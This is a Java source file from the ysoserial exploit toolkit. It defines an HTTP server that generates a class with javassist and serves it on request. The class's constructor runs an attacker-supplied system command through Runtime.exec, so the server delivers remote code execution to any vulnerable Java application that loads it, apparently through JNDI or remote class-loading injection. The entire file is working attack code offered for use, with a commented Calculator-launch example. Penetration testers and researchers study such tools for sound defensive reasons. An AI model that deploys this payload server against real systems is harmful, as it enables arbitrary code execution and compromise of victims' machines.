package ysoserial.exploit;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import javax.naming.Context;
import javax.naming.Name;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.Hashtable;

/**
 * @author wh1t3P1g
 * @since 2020/2/5
 */
public class PayloadJarFileHTTPServer implements Runnable{

    private int port;
    private String classname;
    private String command;

    public PayloadJarFileHTTPServer(int port, String classname, String command) {
        this.port = port;
        this.classname = classname;
        this.command = command;
    }

    public static void main(String[] args) {
        if ( args.length < 3 ) {
            System.err.println(PayloadJarFileHTTPServer.class.getName() + " <port> <classname> <command>");
            System.exit(-1);
            return;
        }

        int port = Integer.parseInt(args[0]);
        String classname = args[1];
        String command = args[2];

//        int port = 80;
//        String classname = "EvilObj";
//        String command = "open /System/Applications/Calculator.app";

        PayloadJarFileHTTPServer server = new PayloadJarFileHTTPServer(port, classname, command);
        server.run();
    }

    public void run(){
        try {
            System.err.println("* Opening Payload HTTPServer on " + port);
            HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
            server.createContext("/"+classname+".class", new PayloadHandler(classname, command));
            server.setExecutor(null);
            server.start();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    class Payload implements javax.naming.spi.ObjectFactory{

        public Payload(){
        }

        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }

    static class PayloadHandler implements HttpHandler {

        private String classname;
        private String command;
        private byte[] obj;

        public PayloadHandler(String classname, String command) throws Exception{
            this.classname = classname;
            this.command = command;
            generate();
        }

        private void generate() throws Exception {
            ClassPool pool = ClassPool.getDefault();
//            pool.insertClassPath(new ClassClassPath(ObjectFactory.class));
            CtClass cc = pool.makeClass(classname);
//            CtClass of = pool.get(ObjectFactory.class.getName());
//            cc.addInterface(of);
            String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
            // create a default constructor
            // and insert runtime payload to execute system command
            CtConstructor constructor = CtNewConstructor.defaultConstructor(cc);
            constructor.insertAfter(cmd);
            cc.addConstructor(constructor);
//            CtClass[] params = {
//                pool.get(Object.class.getCanonicalName()),
//                pool.get(Name.class.getCanonicalName()),
//                pool.get(Context.class.getCanonicalName()),
//                pool.get(Hashtable.class.getCanonicalName())
//            };
//            CtClass returnType = pool.get(Object.class.getCanonicalName());
//            CtClass[] exceptions = {pool.get(Exception.class.getCanonicalName())};
//            String src = "public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx, Object environment) throws Exception { return null; }";
//            CtMethod method = CtNewMethod.make(Modifier.PUBLIC, returnType,
//                                "getObjectInstance", params, exceptions,
//                                  "{ return null; }",cc);
//            cc.addMethod(method);
            this.obj = cc.toBytecode();
        }

        @Override
        public void handle(HttpExchange exchange) throws IOException {
            System.err.println("Have request from "+exchange.getRemoteAddress());
            System.err.println("Get request <"+exchange.getRequestMethod()+"> "+exchange.getRequestURI());
            exchange.sendResponseHeaders(200, obj.length);
            OutputStream os = exchange.getResponseBody();
            os.write(obj);
            os.close();
            System.err.println("return payload and close");
        }
    }
}
